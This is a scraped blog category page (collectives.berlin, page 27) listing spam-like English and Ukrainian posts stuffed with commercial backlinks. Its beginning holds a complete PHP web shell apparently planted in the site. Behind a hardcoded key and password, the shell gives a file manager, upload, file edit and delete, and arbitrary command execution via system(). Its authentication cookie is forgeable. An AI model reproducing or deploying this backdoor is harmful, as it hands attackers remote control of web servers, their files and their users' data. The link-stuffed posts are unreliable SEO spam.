if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 27 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Negotiating a Relocation Package with Your Employer

    Relocating for a job can be an exciting opportunity, https://topmovingpross.com/ but it often comes with significant costs and challenges. When your employer offers you a position that requires you to move, it’s essential to negotiate a relocation package that adequately supports your transition. This report outlines key considerations and strategies for effectively negotiating a relocation…

    Click or not…

  • How to Move Heavy Furniture into a High Rise Building

    Moving heavy furniture into a high-rise building can be a daunting task, requiring careful planning and execution. Whether you’re relocating to a new apartment or rearranging your current space, https://frontierhousingreport.com understanding the logistics involved is essential for a smooth transition. This report outlines the key steps and considerations for efficiently moving heavy furniture into a…

    Click or not…

  • How to Find Short Term Housing During a Relocation

    Relocating to a new city can be both exciting and overwhelming, particularly when it comes to finding suitable short-term housing. Whether you are moving for work, education, or https://scottsdalemovinghub.com personal reasons, securing a temporary place to stay is essential. Here’s a guide to help you navigate the process of finding short-term housing during a relocation.…

    Click or not…

  • Голлівудська усмішка секрети краси та вплив на впевненість

    Відбілювання зубів Процедури в домашніх умовах: Використовуйте набори для відбілювання з мірними шинами g-smile.com.ua чи гелем. Залишайте на рекомендований час та дотримуйтеся графіку. Професійні процедури: Відвідайте стоматолога для професійного відбілювання, яке дасть швидкі й помітні результати. Догляд за зубами Чистка: Зуби варто чистити двічі на день не менше двох хвилин. Використовуйте зубну пасту з фтором…

    Click or not…

  • Тренди мобільних новин: формати для смартфонів

    У сучасному світі мобільні новини стали невід’ємною частиною інформаційного потоку. З розвитком технологій та збільшенням використання смартфонів, формати новин адаптуються до потреб користувачів, https://presshub.com.ua які шукають швидкість і зручність. Цей звіт розглядає основні тренди у форматах мобільних новин, які забезпечують ефективне сприйняття інформації на смартфонах. По-перше, важливим трендом є короткі новини, які подаються у форматі…

    Click or not…

  • Футболіст з України мріє про виступи в англійській Прем’єр-лізі

    Впорядкуйте свій пошук клубу. Розгляньте команди, які активно підписують нових гравців, https://asport.com.ua/ і зверніть увагу на статус ваших конкурентів. Важливо мати чітке уявлення про сильні та слабкі сторони команд у Англії, а також знати, де ваші навички можуть бути найбільш корисними. Покращте свої навички. Продовжуйте працювати над фізичною підготовкою, технікою та тактичним розумінням гри. Регулярні…

    Click or not…

  • Виховання дітей Руслани Лижичко та гармонія з природою

    Залучення до 911mobi.com.ua екологічних активностей з молодшого віку формує свідомість малечі щодо важливості охорони природи. Від прогулянок у лісі до спостереження за птахами – кожен досвід стає цінним уроком про взаємозв’язок людини та природних ресурсів. Важливо сприяти розвитку інтересу до навколишнього світу через інтерактивні заняття. Використовуйте природні матеріали для творчості: камінці, листя, гілки можуть стати…

    Click or not…

  • Правила правильного вимірювання артеріального тиску для всіх

    Для получения корректных значений вашего кровяного давления рекомендуется проводить тестирование не менее чем в трижды для повышения достоверности результатов. При этом важно следовать определённым инструкциям. Во-первых, eu-apteka.com.ua измерения стоит осуществлять в спокойной обстановке, сидя на стуле с опорой для спины. Ноги должны стоять на полу, а руки свободно лежать на столе. Оптимальное время для тестирования…

    Click or not…

  • США відкрили новий кліматичний портал для громадськості та науки

    Для ефективного моніторингу та впровадження нових екологічних заходів, важливо звернути увагу на новий веб-ресурс, https://mobiboom.com.ua/ що був запропонований. Цей інструмент відкриває нові можливості для взаємодії з громадськістю, надаючи доступ до необхідних даних про екологічні проекти. Користувачі можуть легко знайти інформацію про реалізацію екологічних програм, результати попередніх ініціатив та корисні ресурси для самостійного використання. Наявність інтерактивних…

    Click or not…

  • Медіа та бізнес: як монетизувати новинний контент

    У сучасному світі медіа та інформаційних технологій монетизація новинного контенту стала важливим аспектом для виживання та розвитку медіа-організацій. З огляду на те, https://digestinsight.com.ua/ що традиційні моделі фінансування, такі як продаж газет та реклами, стають дедалі менш ефективними, медіа-компанії шукають нові способи заробітку. У цьому звіті розглянемо основні стратегії монетизації новинного контенту, їх переваги та недоліки.…

    Click or not…